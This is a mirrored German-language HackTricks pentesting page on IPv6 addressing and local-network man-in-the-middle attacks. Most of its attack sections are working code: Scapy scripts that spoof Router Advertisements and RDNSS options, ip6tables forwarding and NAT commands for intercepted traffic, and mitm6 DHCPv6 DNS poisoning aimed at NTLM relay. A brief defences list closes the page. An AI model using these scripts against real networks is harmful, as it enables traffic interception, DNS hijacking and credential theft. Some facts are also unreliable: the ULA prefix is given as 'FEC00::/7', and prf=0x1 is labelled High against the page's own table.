mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
309 lines
15 KiB
Markdown
309 lines
15 KiB
Markdown
# Pentesting IPv6
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## IPv6 Grundtheorie
|
||
|
||
### Netzwerke
|
||
|
||
IPv6-Adressen sind so strukturiert, dass sie die Netzwerkorganisation und die Interaktion von Geräten verbessern. Eine IPv6-Adresse ist unterteilt in:
|
||
|
||
1. **Netzwerkpräfix**: Die ersten 48 Bits, die das Netzwerksegment bestimmen.
|
||
2. **Subnetz-ID**: Die folgenden 16 Bits, die zur Definition spezifischer Subnetze innerhalb des Netzwerks verwendet werden.
|
||
3. **Schnittstellenbezeichner**: Die letzten 64 Bits, die ein Gerät innerhalb des Subnetzes eindeutig identifizieren.
|
||
|
||
Während IPv6 das in IPv4 vorhandene ARP-Protokoll weglässt, führt es **ICMPv6** mit zwei Hauptnachrichten ein:
|
||
|
||
- **Neighbor Solicitation (NS)**: Multicast-Nachrichten zur Adressauflösung.
|
||
- **Neighbor Advertisement (NA)**: Unicast-Antworten auf NS oder spontane Ankündigungen.
|
||
|
||
IPv6 umfasst auch spezielle Adresstypen:
|
||
|
||
- **Loopback-Adresse (`::1`)**: Entspricht IPv4's `127.0.0.1`, für die interne Kommunikation innerhalb des Hosts.
|
||
- **Link-Local-Adressen (`FE80::/10`)**: Für lokale Netzwerkaktivitäten, nicht für das Internet-Routing. Geräte im selben lokalen Netzwerk können sich mit diesem Bereich gegenseitig entdecken.
|
||
|
||
### Praktische Nutzung von IPv6 in Netzwerkbefehlen
|
||
|
||
Um mit IPv6-Netzwerken zu interagieren, können Sie verschiedene Befehle verwenden:
|
||
|
||
- **Ping Link-Local-Adressen**: Überprüfen Sie die Anwesenheit lokaler Geräte mit `ping6`.
|
||
- **Neighbor Discovery**: Verwenden Sie `ip neigh`, um Geräte zu sehen, die auf der Linkschicht entdeckt wurden.
|
||
- **alive6**: Ein alternatives Tool zur Entdeckung von Geräten im selben Netzwerk.
|
||
|
||
Nachfolgend einige Beispielbefehle:
|
||
```bash
|
||
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
|
||
ip neigh | grep ^fe80
|
||
|
||
# Alternatively, use alive6 for neighbor discovery
|
||
alive6 eth0
|
||
```
|
||
IPv6-Adressen können aus der MAC-Adresse eines Geräts für die lokale Kommunikation abgeleitet werden. Hier ist eine vereinfachte Anleitung, wie man die Link-Local IPv6-Adresse aus einer bekannten MAC-Adresse ableitet, sowie eine kurze Übersicht über IPv6-Adresstypen und Methoden zur Entdeckung von IPv6-Adressen innerhalb eines Netzwerks.
|
||
|
||
### **Ableitung der Link-Local IPv6 von der MAC-Adresse**
|
||
|
||
Gegeben ist eine MAC-Adresse **`12:34:56:78:9a:bc`**, die Link-Local IPv6-Adresse kann wie folgt konstruiert werden:
|
||
|
||
1. MAC in IPv6-Format umwandeln: **`1234:5678:9abc`**
|
||
2. `fe80::` voranstellen und `fffe` in die Mitte einfügen: **`fe80::1234:56ff:fe78:9abc`**
|
||
3. Das siebte Bit von links umkehren, wodurch `1234` zu `1034` wird: **`fe80::1034:56ff:fe78:9abc`**
|
||
|
||
### **IPv6-Adresstypen**
|
||
|
||
- **Unique Local Address (ULA)**: Für lokale Kommunikation, nicht für das Routing im öffentlichen Internet gedacht. Präfix: **`FEC00::/7`**
|
||
- **Multicast-Adresse**: Für Eins-zu-viele-Kommunikation. An alle Schnittstellen in der Multicast-Gruppe geliefert. Präfix: **`FF00::/8`**
|
||
- **Anycast-Adresse**: Für Eins-zu-nächster Kommunikation. An die nächstgelegene Schnittstelle gemäß Routing-Protokoll gesendet. Teil des **`2000::/3`** globalen Unicast-Bereichs.
|
||
|
||
### **Adresspräfixe**
|
||
|
||
- **fe80::/10**: Link-Local-Adressen (ähnlich wie 169.254.x.x)
|
||
- **fc00::/7**: Unique Local-Unicast (ähnlich wie private IPv4-Bereiche wie 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||
- **2000::/3**: Global Unicast
|
||
- **ff02::1**: Multicast Alle Knoten
|
||
- **ff02::2**: Multicast Router-Knoten
|
||
|
||
### **Entdeckung von IPv6-Adressen innerhalb eines Netzwerks**
|
||
|
||
#### Methode 1: Verwendung von Link-Local-Adressen
|
||
|
||
1. Ermitteln Sie die MAC-Adresse eines Geräts im Netzwerk.
|
||
2. Leiten Sie die Link-Local IPv6-Adresse aus der MAC-Adresse ab.
|
||
|
||
#### Methode 2: Verwendung von Multicast
|
||
|
||
1. Senden Sie ein Ping an die Multicast-Adresse `ff02::1`, um IPv6-Adressen im lokalen Netzwerk zu entdecken.
|
||
```bash
|
||
service ufw stop # Stop the firewall
|
||
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
|
||
ip -6 neigh # Display the neighbor table
|
||
```
|
||
### IPv6 Man-in-the-Middle (MitM) Angriffe
|
||
|
||
Es gibt mehrere Techniken zur Durchführung von MitM-Angriffen in IPv6-Netzwerken, wie zum Beispiel:
|
||
|
||
- Spoofing von ICMPv6-Nachbar- oder Router-Anzeigen.
|
||
- Verwendung von ICMPv6-Redirect- oder "Packet Too Big"-Nachrichten zur Manipulation des Routings.
|
||
- Angriffe auf mobiles IPv6 (erfordert normalerweise, dass IPSec deaktiviert ist).
|
||
- Einrichten eines bösartigen DHCPv6-Servers.
|
||
|
||
## Identifizierung von IPv6-Adressen im Feld
|
||
|
||
### Erforschen von Subdomains
|
||
|
||
Eine Methode, um Subdomains zu finden, die potenziell mit IPv6-Adressen verknüpft sind, besteht darin, Suchmaschinen zu nutzen. Zum Beispiel kann ein Abfragemuster wie `ipv6.*` effektiv sein. Konkret kann der folgende Suchbefehl in Google verwendet werden:
|
||
```bash
|
||
site:ipv6./
|
||
```
|
||
### Nutzung von DNS-Abfragen
|
||
|
||
Um IPv6-Adressen zu identifizieren, können bestimmte DNS-Record-Typen abgefragt werden:
|
||
|
||
- **AXFR**: Fordert einen vollständigen Zonenübertrag an, der möglicherweise eine Vielzahl von DNS-Records aufdeckt.
|
||
- **AAAA**: Sucht direkt nach IPv6-Adressen.
|
||
- **ANY**: Eine breite Abfrage, die alle verfügbaren DNS-Records zurückgibt.
|
||
|
||
### Abtasten mit Ping6
|
||
|
||
Nachdem IPv6-Adressen, die mit einer Organisation verbunden sind, identifiziert wurden, kann das Dienstprogramm `ping6` zum Abtasten verwendet werden. Dieses Tool hilft dabei, die Reaktionsfähigkeit der identifizierten IPv6-Adressen zu bewerten und kann auch dabei helfen, benachbarte IPv6-Geräte zu entdecken.
|
||
|
||
## IPv6 Angriffs-Techniken im lokalen Netzwerk
|
||
|
||
Die folgenden Abschnitte behandeln praktische Layer-2 IPv6-Angriffe, die **innerhalb desselben /64-Segments** ausgeführt werden können, ohne einen globalen Präfix zu kennen. Alle unten gezeigten Pakete sind **link-local** und reisen nur durch den lokalen Switch, was sie in den meisten Umgebungen extrem stealthy macht.
|
||
|
||
### Systemanpassung für ein stabiles Labor
|
||
|
||
Bevor Sie mit IPv6-Verkehr experimentieren, wird empfohlen, Ihre Box abzusichern, um zu vermeiden, dass Sie durch Ihre eigenen Tests vergiftet werden, und um die beste Leistung während massiver Paket-Injektion/Sniffing zu erzielen.
|
||
```bash
|
||
# Enable promiscuous mode to capture all frames
|
||
sudo ip link set dev eth0 promisc on
|
||
|
||
# Ignore rogue Router Advertisements & Redirects coming from the segment
|
||
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
|
||
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
|
||
|
||
# Increase fd / backlog limits when generating lots of traffic
|
||
sudo sysctl -w fs.file-max=100000
|
||
sudo sysctl -w net.core.somaxconn=65535
|
||
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||
```
|
||
### Passive NDP & DHCPv6 Sniffing
|
||
|
||
Da jeder IPv6-Host **automatisch mehreren Multicast-Gruppen beitritt** (`ff02::1`, `ff02::2`, …) und ICMPv6 für SLAAC/NDP verwendet, können Sie das gesamte Segment kartieren, ohne ein einziges Paket zu senden. Der folgende Python/Scapy-Einzeiler lauscht auf die interessantesten L2-Nachrichten und druckt ein farbiges, zeitgestempeltes Protokoll darüber, wer wer ist:
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from scapy.all import *
|
||
from scapy.layers.dhcp6 import *
|
||
from datetime import datetime
|
||
from colorama import Fore, Style, init
|
||
import argparse
|
||
|
||
init(autoreset=True)
|
||
|
||
# Human-readable names for protocols we care about
|
||
DHCP6_TYPES = {
|
||
DHCP6_Solicit: 'Solicit',
|
||
DHCP6_Advertise: 'Advertise',
|
||
DHCP6_Request: 'Request',
|
||
DHCP6_Reply: 'Reply',
|
||
DHCP6_Renew: 'Renew',
|
||
DHCP6_Rebind: 'Rebind',
|
||
DHCP6_RelayForward:'Relay-Forward',
|
||
DHCP6_RelayReply: 'Relay-Reply'
|
||
}
|
||
ICMP6_TYPES = {
|
||
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
|
||
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
|
||
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
|
||
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
|
||
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
|
||
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
|
||
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
|
||
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
|
||
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
|
||
}
|
||
|
||
def handler(pkt):
|
||
eth_src = pkt[Ether].src if Ether in pkt else '?'
|
||
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
|
||
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
|
||
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
|
||
|
||
# Identify protocol family first
|
||
for proto,(desc,color) in ICMP6_TYPES.items():
|
||
if proto in pkt:
|
||
break
|
||
else:
|
||
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
|
||
for dhcp_t,name in DHCP6_TYPES.items():
|
||
if dhcp_t in pkt:
|
||
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
|
||
else:
|
||
return # not a DHCPv6 message we track
|
||
else:
|
||
return # not interesting
|
||
|
||
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
|
||
print(f" MAC {eth_src} -> {eth_dst}")
|
||
print(f" IPv6 {ip6_src} -> {ip6_dst}")
|
||
print('-'*60)
|
||
|
||
if __name__ == '__main__':
|
||
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
|
||
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
|
||
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
|
||
a = argp.parse_args()
|
||
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||
```
|
||
Ergebnis: eine vollständige **link-lokale Topologie** (MAC ⇄ IPv6) in wenigen Sekunden, ohne IPS/IDS-Systeme auszulösen, die auf aktiven Scans basieren.
|
||
|
||
### Router Advertisement (RA) Spoofing
|
||
|
||
IPv6-Hosts verlassen sich auf **ICMPv6 Router Advertisements** zur Entdeckung des Standardgateways. Wenn Sie gefälschte RAs **häufiger** als der legitime Router einspeisen, wechseln die Geräte stillschweigend zu Ihnen als Gateway.
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from scapy.all import *
|
||
import argparse
|
||
|
||
p = argparse.ArgumentParser()
|
||
p.add_argument('-i','--interface',required=True)
|
||
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
|
||
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
|
||
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
|
||
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
|
||
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
|
||
args = p.parse_args()
|
||
|
||
lifetime = 0 if args.revert else args.lifetime
|
||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
|
||
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||
|
||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||
```
|
||
Um tatsächlich **Traffic weiterzuleiten**, nachdem man das Rennen gewonnen hat:
|
||
```bash
|
||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||
```
|
||
#### Router Advertisement Flags (M/O) & Default Router Preference (Prf)
|
||
|
||
| Flag | Bedeutung | Effekt auf das Verhalten des Clients |
|
||
|------|-----------|-------------------------------------|
|
||
| **M (Managed Address Configuration)** | Wenn auf `1` gesetzt, muss der Host **DHCPv6** verwenden, um seine IPv6-Adresse zu erhalten. | Die gesamte Adressierung erfolgt über DHCPv6 – perfekt für *mitm6* Stilvergiftung. |
|
||
| **O (Other Configuration)** | Wenn auf `1` gesetzt, sollte der Host **DHCPv6** nur verwenden, um *andere* Informationen (DNS, NTP, …) zu erhalten. | Adresse weiterhin über SLAAC, aber DNS kann mit DHCPv6 gehijackt werden. |
|
||
| **M=0 / O=0** | Reines SLAAC-Netzwerk. | Nur RA / RDNSS-Tricks sind möglich – DHCPv6 wird von Clients nicht gesendet. |
|
||
| **M=1 / O=1** | Gemischte Umgebung. | Sowohl DHCPv6 als auch SLAAC werden verwendet; die Angriffsfläche für Spoofing ist am größten. |
|
||
|
||
Während eines Pentests können Sie einfach die legitime RA einmal inspizieren und entscheiden, welcher Vektor machbar ist:
|
||
```bash
|
||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
|
||
```
|
||
Suchen Sie nach dem Feld `flags [M,O]` im Dump – kein Raten erforderlich.
|
||
|
||
Das **Prf** (Router Preference) Feld im RA-Header steuert, wie attraktiv Ihr rogue Router aussieht, wenn *mehrere* Gateways vorhanden sind:
|
||
|
||
| Prf-Wert | Binär | Bedeutung |
|
||
|----------|--------|-----------|
|
||
| **Hoch** | `10` | Clients bevorzugen diesen Router gegenüber jedem *Medium*/*Niedrig* Router |
|
||
| Medium (Standard) | `01` | Wird von fast jedem legitimen Gerät verwendet |
|
||
| Niedrig | `00` | Wird nur gewählt, wenn kein besserer Router vorhanden ist |
|
||
|
||
Beim Generieren des Pakets mit Scapy können Sie es über den `prf`-Parameter einstellen, wie oben gezeigt (`prf=0x1` → Hoch). Die Kombination aus **Hoch Prf**, einem **kurzen Intervall** und einer **nicht null Lebensdauer** macht Ihr rogue Gateway bemerkenswert stabil.
|
||
|
||
---
|
||
|
||
### RDNSS (DNS) Spoofing über RA
|
||
|
||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) erlaubt das Hinzufügen einer **Recursive DNS Server (RDNSS)** Option innerhalb eines RA. Moderne Betriebssysteme (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) vertrauen darauf automatisch:
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from scapy.all import *
|
||
import argparse
|
||
|
||
p = argparse.ArgumentParser()
|
||
p.add_argument('-i','--interface',required=True)
|
||
p.add_argument('--llip',required=True)
|
||
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
|
||
p.add_argument('--lifetime',type=int,default=600)
|
||
p.add_argument('--interval',type=int,default=5)
|
||
args = p.parse_args()
|
||
|
||
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
|
||
ICMPv6ND_RA(routerlifetime=0)/
|
||
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||
|
||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||
```
|
||
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
|
||
|
||
### DHCPv6 DNS Spoofing (mitm6)
|
||
|
||
Anstatt SLAAC verlassen sich Windows-Netzwerke oft auf **stateless DHCPv6** für DNS. [mitm6](https://github.com/rofl0r/mitm6) antwortet automatisch auf `Solicit`-Nachrichten mit einem **Advertise → Reply**-Fluss, der **deine Link-Local-Adresse als DNS für 300 Sekunden zuweist**. Dies ermöglicht:
|
||
|
||
* NTLM-Relay-Angriffe (WPAD + DNS-Hijacking)
|
||
* Abfangen interner Namensauflösungen, ohne Router zu berühren
|
||
|
||
Typische Verwendung:
|
||
```bash
|
||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||
```
|
||
### Verteidigungen
|
||
|
||
* **RA Guard / DHCPv6 Guard / ND Inspection** auf verwalteten Switches.
|
||
* Port-ACLs, die nur die MAC des legitimen Routers das Senden von RAs erlauben.
|
||
* Überwachen auf **unsolide hochfrequente RAs** oder plötzliche **RDNSS-Änderungen**.
|
||
* Das Deaktivieren von IPv6 an Endpunkten ist eine vorübergehende Lösung, die oft moderne Dienste unterbricht und blinde Flecken verbirgt – bevorzuge stattdessen L2-Filterung.
|
||
|
||
## Referenzen
|
||
|
||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||
- [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106)
|
||
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
|
||
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)
|
||
- [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|